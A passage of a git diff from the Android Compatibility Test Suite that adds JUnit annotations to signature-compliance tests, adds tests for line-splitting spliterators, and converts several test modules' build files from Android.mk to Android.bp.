         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
@@ -189,6 +212,7 @@
         assertEquals(field.toSignatureString(), "public volatile java.lang.String VOLATILE_FIELD");
     }
 
+    @Test
     public void testTransientField() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
@@ -200,6 +224,7 @@
                 "public transient java.lang.String TRANSIENT_FIELD");
     }
 
+    @Test
     public void testPackageField() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
@@ -209,6 +234,7 @@
         assertEquals(field.toSignatureString(), "java.lang.String PACAKGE_FIELD");
     }
 
+    @Test
     public void testPrivateField() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
@@ -218,6 +244,7 @@
         assertEquals(field.toSignatureString(), "private java.lang.String PRIVATE_FIELD");
     }
 
+    @Test
     public void testProtectedField() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
@@ -227,17 +254,18 @@
         assertEquals(field.toSignatureString(), "protected java.lang.String PROTECTED_FIELD");
     }
 
+    @Test
     public void testFieldValue() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
                 "VALUE_FIELD", "java.lang.String",
-                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC, "\"\\u2708\"");
+                Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC, "\u2708");
         clz.addField(field);
         checkSignatureCompliance(clz);
-        assertEquals(field.toSignatureString(),
-                "public static final java.lang.String VALUE_FIELD");
+        assertEquals(field.toSignatureString(), "public static final java.lang.String VALUE_FIELD");
     }
 
+    @Test
     public void testFieldValueChanged() {
         ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_FIELD);
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
@@ -246,11 +274,11 @@
                 Modifier.PUBLIC | Modifier.FINAL | Modifier.STATIC, "\"&#9992;\"");
         clz.addField(field);
         checkSignatureCompliance(clz, observer);
-        assertEquals(field.toSignatureString(),
-                "public static final java.lang.String VALUE_FIELD");
+        assertEquals(field.toSignatureString(), "public static final java.lang.String VALUE_FIELD");
         observer.validate();
     }
 
+    @Test
     public void testInnerClass() {
         JDiffClassDescription clz = createClass("NormalClass.InnerClass");
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
@@ -260,6 +288,7 @@
         assertEquals(clz.toSignatureString(), "public class NormalClass.InnerClass");
     }
 
+    @Test
     public void testInnerInnerClass() {
         JDiffClassDescription clz = createClass(
                 "NormalClass.InnerClass.InnerInnerClass");
@@ -271,6 +300,7 @@
                 "public class NormalClass.InnerClass.InnerInnerClass");
     }
 
+    @Test
     public void testInnerInterface() {
         JDiffClassDescription clz = new JDiffClassDescription(
                 "android.signature.cts.tests.data", "NormalClass.InnerInterface");
@@ -282,6 +312,7 @@
         assertEquals(clz.toSignatureString(), "public interface NormalClass.InnerInterface");
     }
 
+    @Test
     public void testInterface() {
         JDiffClassDescription clz = createInterface("NormalInterface");
         clz.addMethod(
@@ -290,6 +321,7 @@
         assertEquals(clz.toSignatureString(), "public interface NormalInterface");
     }
 
+    @Test
     public void testFinalClass() {
         JDiffClassDescription clz = new JDiffClassDescription(
                 "android.signature.cts.tests.data", "FinalClass");
@@ -303,6 +335,8 @@
      * Test the case where the API declares the method not synchronized, but it
      * actually is.
      */
+    @Test
+    @Ignore("b/124445655")
     public void testAddingSync() {
         ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
@@ -316,6 +350,7 @@
      * Test the case where the API declares the method is synchronized, but it
      * actually is not.
      */
+    @Test
     public void testRemovingSync() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("notSyncMethod",
@@ -327,6 +362,7 @@
     /**
      * API says method is not native, but it actually is. http://b/1839558
      */
+    @Test
     public void testAddingNative() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("nativeMethod", Modifier.PUBLIC, "void");
@@ -337,6 +373,7 @@
     /**
      * API says method is native, but actually isn't. http://b/1839558
      */
+    @Test
     public void testRemovingNative() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("notNativeMethod",
@@ -345,6 +382,7 @@
         checkSignatureCompliance(clz);
     }
 
+    @Test
     public void testAbstractClass() {
         JDiffClassDescription clz = new JDiffClassDescription(
                 "android.signature.cts.tests.data", "AbstractClass");
@@ -357,6 +395,7 @@
     /**
      * API lists class as abstract, reflection does not. http://b/1839622
      */
+    @Test
     public void testRemovingAbstractFromAClass() {
         JDiffClassDescription clz = new JDiffClassDescription(
                 "android.signature.cts.tests.data", "NormalClass");
@@ -368,6 +407,7 @@
     /**
      * reflection lists class as abstract, api does not. http://b/1839622
      */
+    @Test
     public void testAddingAbstractToAClass() {
         ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_CLASS);
         JDiffClassDescription clz = createClass("AbstractClass");
@@ -375,6 +415,7 @@
         observer.validate();
     }
 
+    @Test
     public void testFinalMethod() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("finalMethod",
@@ -388,6 +429,7 @@
      * Final Class, API lists methods as non-final, reflection has it as final.
      * http://b/1839589
      */
+    @Test
     public void testAddingFinalToAMethodInAFinalClass() {
         JDiffClassDescription clz = new JDiffClassDescription(
                 "android.signature.cts.tests.data", "FinalClass");
@@ -402,6 +444,7 @@
      * Final Class, API lists methods as final, reflection has it as non-final.
      * http://b/1839589
      */
+    @Test
     public void testRemovingFinalToAMethodInAFinalClass() {
         JDiffClassDescription clz = new JDiffClassDescription(
                 "android.signature.cts.tests.data", "FinalClass");
@@ -417,6 +460,7 @@
      * non-final Class, API lists methods as non-final, reflection has it as
      * final. http://b/1839589
      */
+    @Test
     public void testAddingFinalToAMethodInANonFinalClass() {
         ExpectFailure observer = new ExpectFailure(FailureType.MISMATCH_METHOD);
         JDiffClassDescription clz = createClass("NormalClass");
@@ -426,6 +470,7 @@
         observer.validate();
     }
 
+    @Test
     public void testExtendedNormalInterface() {
         NoFailures observer = new NoFailures();
         runWithApiChecker(observer, checker -> {
diff --git a/tests/signature/tests/src/android/signature/cts/tests/BufferedReaderLineSpliteratorTest.java b/tests/signature/tests/src/android/signature/cts/tests/BufferedReaderLineSpliteratorTest.java
new file mode 100644
index 0000000..d6798eb
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/BufferedReaderLineSpliteratorTest.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.tests;
+
+import static org.junit.Assert.assertEquals;
+
+import android.signature.cts.BufferedReaderLineSpliterator;
+
+import java.io.BufferedReader;
+import java.io.StringReader;
+import java.util.Spliterator;
+import java.util.function.Function;
+
+import org.junit.Test;
+import org.junit.runners.JUnit4;
+import org.junit.runner.RunWith;
+
+/**
+ * Test class for {@link android.signature.cts.ByteBufferLineSpliterator}.
+ */
+@RunWith(JUnit4.class)
+public class BufferedReaderLineSpliteratorTest extends LineSpliteratorTestBase {
+
+    @Test
+    public void testBiConverter() {
+        doTestConverter(str -> new BufferedReaderLineSpliterator<IntPair>(
+                new BufferedReader(new StringReader(str)), (strIn, lineNum) -> {
+                    return new IntPair(CONVERTER.apply(strIn), lineNum);
+                }), i -> {
+                    return intPair -> {
+                        assertEquals((int)i, intPair.mP1);
+                        assertEquals((int)i + 1, intPair.mP2);
+                    };
+                });
+    }
+
+    static class IntPair {
+        public int mP1;
+        public int mP2;
+        public IntPair(int p1, int p2) {
+            mP1 = p1;
+            mP2 = p2;
+        }
+    }
+
+    @Override
+    protected Spliterator<Integer> createSpliterator(String data,
+            Function<String, Integer> converter) {
+        return new BufferedReaderLineSpliterator<Integer>(
+                new BufferedReader(new StringReader(data)), converter);
+    }
+}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ByteBufferLineSpliteratorTest.java b/tests/signature/tests/src/android/signature/cts/tests/ByteBufferLineSpliteratorTest.java
new file mode 100644
index 0000000..962e203
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/ByteBufferLineSpliteratorTest.java
@@ -0,0 +1,64 @@
+/*
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.tests;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.signature.cts.ByteBufferLineSpliterator;
+
+import java.nio.charset.Charset;
+import java.util.Spliterator;
+import java.util.function.Function;
+
+import org.junit.Test;
+import org.junit.runners.JUnit4;
+import org.junit.runner.RunWith;
+
+/**
+ * Test class for {@link android.signature.cts.ByteBufferLineSpliterator}.
+ */
+@RunWith(JUnit4.class)
+public class ByteBufferLineSpliteratorTest extends LineSpliteratorTestBase {
+
+    @Test
+    public void testSplitMostlyMiddle() {
+        Spliterator<Integer> split1 = createSpliterator(getRepetitions(100),
+                CONVERTER);
+        Spliterator<Integer> split2 = split1.trySplit();
+        assertNotNull(split2);
+        int c1 = 0, c2 = 0;
+        while (split1.tryAdvance(intValue -> {
+        })) {
+            c1++;
+        }
+        while (split2.tryAdvance(intValue -> {
+        })) {
+            c2++;
+        }
+        assertEquals(c1 + " + " + c2 + " != 100", 100, c1 + c2);
+        assertTrue("c1=" + c1 + ", c2=" + c2, Math.abs(c1 - c2) < 10);
+    }
+
+    @Override
+    protected Spliterator<Integer> createSpliterator(String data,
+            Function<String, Integer> converter) {
+        return new ByteBufferLineSpliterator<Integer>(Charset.defaultCharset().encode(data), 6,
+                converter);
+    }
+}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/LineSpliteratorTestBase.java b/tests/signature/tests/src/android/signature/cts/tests/LineSpliteratorTestBase.java
new file mode 100644
index 0000000..f472888
--- /dev/null
+++ b/tests/signature/tests/src/android/signature/cts/tests/LineSpliteratorTestBase.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2007 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.signature.cts.tests;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.util.Date;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Random;
+import java.util.Spliterator;
+import java.util.function.Consumer;
+import java.util.function.Function;
+
+import org.junit.Test;
+
+/**
+ * Test class for {@link android.signature.cts.ByteBufferLineSpliterator}.
+ */
+public abstract class LineSpliteratorTestBase {
+
+    protected static final Function<String, Integer> CONVERTER = str -> {
+        return Integer.parseInt(str.substring(4));
+    };
+    protected static final Consumer<Integer> FAIL_CONSUMER = str -> {
+        fail();
+    };
+
+    protected abstract Spliterator<Integer> createSpliterator(String data,
+            Function<String, Integer> converter);
+
+    protected static Consumer<Integer> createVerifier(final int i) {
+        return intValue -> { assertEquals(i, (int)intValue); };
+    }
+
+    protected static String getRepetitions(int c) {
+        StringBuilder builder = new StringBuilder();
+        for (int i = 0; i < c; i++) {
+            builder.append("test" + i + "\n");
+        }
+        return builder.toString();
+    }
+
+    protected <T> void doTestConverter(Function<String, Spliterator<T>> createFn,
+            Function<Integer, Consumer<T>> verifierFn) {
+        Spliterator<T> spliterator = createFn.apply(getRepetitions(10));
+        for (int i = 0; i < 10; i++) {
+            assertTrue(spliterator.tryAdvance(verifierFn.apply(i)));
+        }
+        assertFalse(spliterator.tryAdvance(a -> { fail(); }));
+    }
+
+    @Test
+    public void testConverter() {
+        doTestConverter(str -> createSpliterator(str, CONVERTER), i -> createVerifier(i));
+    }
+
+    @Test
+    public void testSplit() {
+        final long seed = new Date().getTime();
+        try {
+            Random r = new Random(seed);
+            List<Spliterator<Integer>> queue = new LinkedList<>();
+            queue.add(createSpliterator(getRepetitions(1000), CONVERTER));
+
+            // Limit the maximum number of consecutive splits, just to ensure the test will
+            // always terminate.
+            int splitsInSequence = 0;
+            final int maxSplitsInSequence = 100;
+
+            for (int i = 0; i < 1000; i++) {
+                assertTrue(!queue.isEmpty());
+                boolean doSplit = r.nextBoolean();
+                if (doSplit && splitsInSequence < maxSplitsInSequence) {
+                    Spliterator<Integer> split = queue.get(0).trySplit();
+                    if (split != null) {
+                        queue.add(1, split);
+                    }
+                    i--;
+                    splitsInSequence++;
+                } else {
+                    splitsInSequence = 0;
+                    if (!queue.get(0).tryAdvance(createVerifier(i))) {
+                        queue.remove(0);
+                        i--;
+                    }
+                }
+            }
+            while (!queue.isEmpty()) {
+                Spliterator<Integer> first = queue.remove(0);
+                assertFalse(first.tryAdvance(FAIL_CONSUMER));
+            }
+        } catch (Throwable t) {
+            throw new RuntimeException("Error, seed=" + seed, t);
+        }
+    }
+}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java b/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java
index db47967..4016bf6 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/data/NormalClass.java
@@ -54,8 +54,10 @@
 
     public class InnerClass {
         public class InnerInnerClass {
+            @SuppressWarnings("unused")
             private String innerInnerClassData;
         }
+        @SuppressWarnings("unused")
         private String innerClassData;
     }
 
diff --git a/tests/signature/tests/src/android/signature/cts/tests/data/NormalException.java b/tests/signature/tests/src/android/signature/cts/tests/data/NormalException.java
index b2dd52d..5187cba 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/data/NormalException.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/data/NormalException.java
@@ -23,4 +23,6 @@
  */
 public class NormalException extends Exception {
 
+    private static final long serialVersionUID = -123485840742519217L;
+
 }
diff --git a/tests/simplecpu/jni/Android.bp b/tests/simplecpu/jni/Android.bp
new file mode 100644
index 0000000..2ed06c0
--- /dev/null
+++ b/tests/simplecpu/jni/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libctscpu_jni",
+    srcs: ["CpuNativeJni.cpp"],
+    sdk_version: "14",
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+    ],
+    gtest: false,
+}
diff --git a/tests/simplecpu/jni/Android.mk b/tests/simplecpu/jni/Android.mk
deleted file mode 100644
index 73a6fcf..0000000
--- a/tests/simplecpu/jni/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE    := libctscpu_jni
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_SRC_FILES := CpuNativeJni.cpp
-
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
-
-LOCAL_SDK_VERSION := 14
-
-LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
-
-include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/accounts/Android.bp b/tests/tests/accounts/Android.bp
new file mode 100644
index 0000000..94f7c79
--- /dev/null
+++ b/tests/tests/accounts/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAccountManagerTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "CtsAccountTestsCommon",
+        "ctstestrunner-axt",
+        "platform-test-annotations",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    certificate: ":cts-testkey1",
+    min_sdk_version: "1",
+    sdk_version: "current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+}
diff --git a/tests/tests/accounts/Android.mk b/tests/tests/accounts/Android.mk
deleted file mode 100644
index c559252..0000000
--- a/tests/tests/accounts/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    CtsAccountTestsCommon ctstestrunner-axt platform-test-annotations
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_PACKAGE_NAME := CtsAccountManagerTestCases
-
-LOCAL_MIN_SDK_VERSION  := 1
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
new file mode 100644
index 0000000..a9bc0e8
--- /dev/null
+++ b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsUnaffiliatedAccountAuthenticators",
+    defaults: ["cts_support_defaults"],
+    min_sdk_version: "1",
+    sdk_version: "current",
+    static_libs: [
+        "ctstestrunner-axt",
+        "CtsAccountTestsCommon",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["res"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    certificate: ":cts-testkey2",
+}
diff --git a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk b/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
deleted file mode 100644
index 03479db..0000000
--- a/tests/tests/accounts/CtsUnaffiliatedAccountAuthenticators/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# LOCAL_MODULE_TAGS := tests
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_MIN_SDK_VERSION  := 1
-
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	ctstestrunner-axt \
-	CtsAccountTestsCommon
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_RESOURCE_DIR += $(LOCAL_PATH)/res
-
-LOCAL_PACKAGE_NAME := CtsUnaffiliatedAccountAuthenticators
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/tests/accounts/common/Android.bp b/tests/tests/accounts/common/Android.bp
new file mode 100644
index 0000000..35d01fb
--- /dev/null
+++ b/tests/tests/accounts/common/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "CtsAccountTestsCommon",
+    // Includes all the java files, and explicitly declares any aidl files
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+    aidl: {
+        local_include_dirs: ["src"],
+    },
+    min_sdk_version: "1",
+    sdk_version: "current",
+}
diff --git a/tests/tests/accounts/common/Android.mk b/tests/tests/accounts/common/Android.mk
deleted file mode 100644
index 0b208dd..0000000
--- a/tests/tests/accounts/common/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-# Includes all the java files, and explicitly declares any aidl files
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-    $(call all-Iaidl-files-under, src)
-
-LOCAL_AIDL_INCLUDES += $(LOCAL_PATH)/src
-
-LOCAL_MODULE:= CtsAccountTestsCommon
-
-LOCAL_MIN_SDK_VERSION  := 1
-
-LOCAL_SDK_VERSION := current
-
-# Build the actual static library
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/tests/alarmclock/Android.mk b/tests/tests/alarmclock/Android.mk
deleted file mode 100644
index feb5792..0000000
--- a/tests/tests/alarmclock/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := CtsAlarmClockCommon ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAlarmClockTestCases
-
-LOCAL_SDK_VERSION := current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/alarmclock/AndroidManifest.xml b/tests/tests/alarmclock/AndroidManifest.xml
deleted file mode 100644
index 15b47c4..0000000
--- a/tests/tests/alarmclock/AndroidManifest.xml
+++ /dev/null
@@ -1,47 +0,0 @@
-<!--
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.alarmclock.cts">
-
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-
-        <activity android:name="TestStartActivity"
-                  android:label="The Target Activity for AlarmClock CTS Test">
-            <intent-filter>
-                <action android:name="android.intent.action.TEST_START_ACTIVITY_DISMISS_ALARM" />
-                <action android:name="android.intent.action.TEST_START_ACTIVITY_SET_ALARM" />
-                <action android:name=
-                        "android.intent.action.TEST_START_ACTIVITY_SET_ALARM_FOR_DISMISSAL" />
-                <action android:name="android.intent.action.TEST_START_ACTIVITY_SNOOZE_ALARM" />
-                <category android:name="android.intent.category.LAUNCHER" />
-                <category android:name="android.intent.category.DEFAULT" />
-            </intent-filter>
-        </activity>
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.alarmclock.cts"
-                     android:label="CTS tests of android.alarmclock">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-</manifest>
-
diff --git a/tests/tests/alarmclock/AndroidTest.xml b/tests/tests/alarmclock/AndroidTest.xml
deleted file mode 100644
index 023032a..0000000
--- a/tests/tests/alarmclock/AndroidTest.xml
+++ /dev/null
@@ -1,34 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
